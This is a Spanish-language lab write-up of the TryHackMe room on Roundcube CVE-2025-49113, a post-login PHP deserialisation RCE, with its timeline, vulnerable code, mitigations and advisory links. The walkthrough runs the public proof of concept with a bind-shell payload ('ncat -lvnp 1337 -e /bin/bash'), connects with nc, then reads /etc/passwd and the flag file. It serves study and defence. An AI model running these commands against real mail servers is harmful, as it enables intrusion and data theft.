
Explicación + Laboratorio en THM
{{date}} {{time}}
Estado: Completado
Tags: [[RCE]] | [[PHP]] | [[LAB_THM]] | [[EXPLOIT]] | [[CVE]]
por KRPT Paulo G. Werneck - Linkedin - in.com/pgw-script
Impacto: ejecución remota de comandos post-inicio de sesión (CVSS 9.9)
Versiones afectadas: ≤ 1.5.10 / 1.6.10
Parcheada: 1.5.11 y 1.6.11
| Fecha | Evento |
|---|
| ~2014 | Introducción de la ruta program/actions/settings/upload.php con uso de session->append() sin validación. |
| 03 jun 2025 | Investigadores de @FearsOff publican el advisory y anuncian PoC. |
| 04 jun 2025 | Roundcube aplica commit 0376f69 (1.6-stable) y commit 7408f31 (1.5-lts). |
| 06 jun 2025 | PoC publicada en github . (fearsoff-org/CVE-2025-49113) |
| 10 jun 2025 | Explotación en masa. |
// program/actions/settings/upload.php
$from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);
$type = preg_replace('/(add|edit)-/', '', $from);
// … mais abaixo
$rcmail->session->append($type . '.files', $id, $attachment);
La entrada _from llega completa del GET y luego se convierte en parte del nombre de un nodo en la sesión y
durante el primer append(), Roundcube hace:
// program/actions/settings/upload.php
$from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);
$type = preg_replace('/(add|edit)-/', '', $from);
// … más abajo
$rcmail->session->append($type . '.files', $id, $attachment);
Si el archivo existe, el RCE funcionó.
Actualice inmediatamente a ≥ 1.6.11 o ≥ 1.5.11.
Si no puede actualizar, bloquee cualquier _from que contenga %22, %7C, !, . o bytes de control mediante WAF, firewall o rewrite.
Desactive funciones peligrosas (proc_open, exec, etc.) en php.ini.
Bloquee subidas en el panel de configuración y monitoree logs.
Creado por tryhackme & strategos
Abrir la VM (MACHINE_IP) y el AttackBox.
Acceder a http://MACHINE_IP/roundcube con:
usuario: ellieptic
contraseña: ChangeMe123
Esto funcionará e iniciará sesión normalmente:

Después de verificar que todo está funcionando, vamos a ejecutar el exploit, para ello accederemos al PoC publicado en github mencionado anteriormente y haremos un git clone:
mkdir tmp
cd tmp
git clone https://github.com/fearsoff-org/CVE-2025-49113
cd CVE-2025-49113

El uso del payload es simple, basta crear el bind shell y apuntar a un puerto con el archivo .php siguiendo el uso a continuación:
php CVE-2025-49113.php <`site`> <`user`> <`senha`> "<`bind shell`>"
php CVE-2025-49113.php http://MACHINE_IP/roundcube ellieptic ChangeMe123 "ncat -lvnp 1337 -e /bin/bash"
– El script inicia sesión, inyecta el objeto PHP malicioso en el parámetro _from, como mencionamos anteriormente, llama al endpoint upload.php y luego fuerza el cierre de sesión para disparar
session_decode() → unserialize() → proc_open().
A veces muestra error de CSRF; ignórelo y continúe al siguiente paso,
porque el comando suele haberse ejecutado de todos modos.

Si el bind shell funcionó, está escuchando en el puerto 1337 que pasamos, solo hacemos la conexión ahora:
nc MACHINE_IP 1337
Shell obtenida.

BytePara resolver esta pregunta podríamos hacer un cat en /etc/passwd filtrando el usuario de maggie, o simplemente haciendo un ls en /home

/etc?THM{ICE_CUBE_DESERIALISATION}Para resolver esto, hice un cat /etc/flag* y por suerte el nombre del archivo era flag y con eso logramos capturarlo.

Commit 1.6.11 – https://github.com/roundcube/roundcubemail/commit/0376f69e958a8fef7f6f09e352c541b4e7729c4d
Commit 1.5.11 – https://github.com/roundcube/roundcubemail/commit/7408f31379666124a39f9cb1018f62bc5e2dc695
FearsOff write-up – https://fearsoff.org/research/roundcube
OffSec blog – https://www.offsec.com/blog/cve-2025-49113/ offsec.com
TryHackme - TryHackMe | Roundcube: CVE-2025-49113
GHSA advisory – https://github.com/advisories/GHSA-8j8w-wwqc-x596 github.com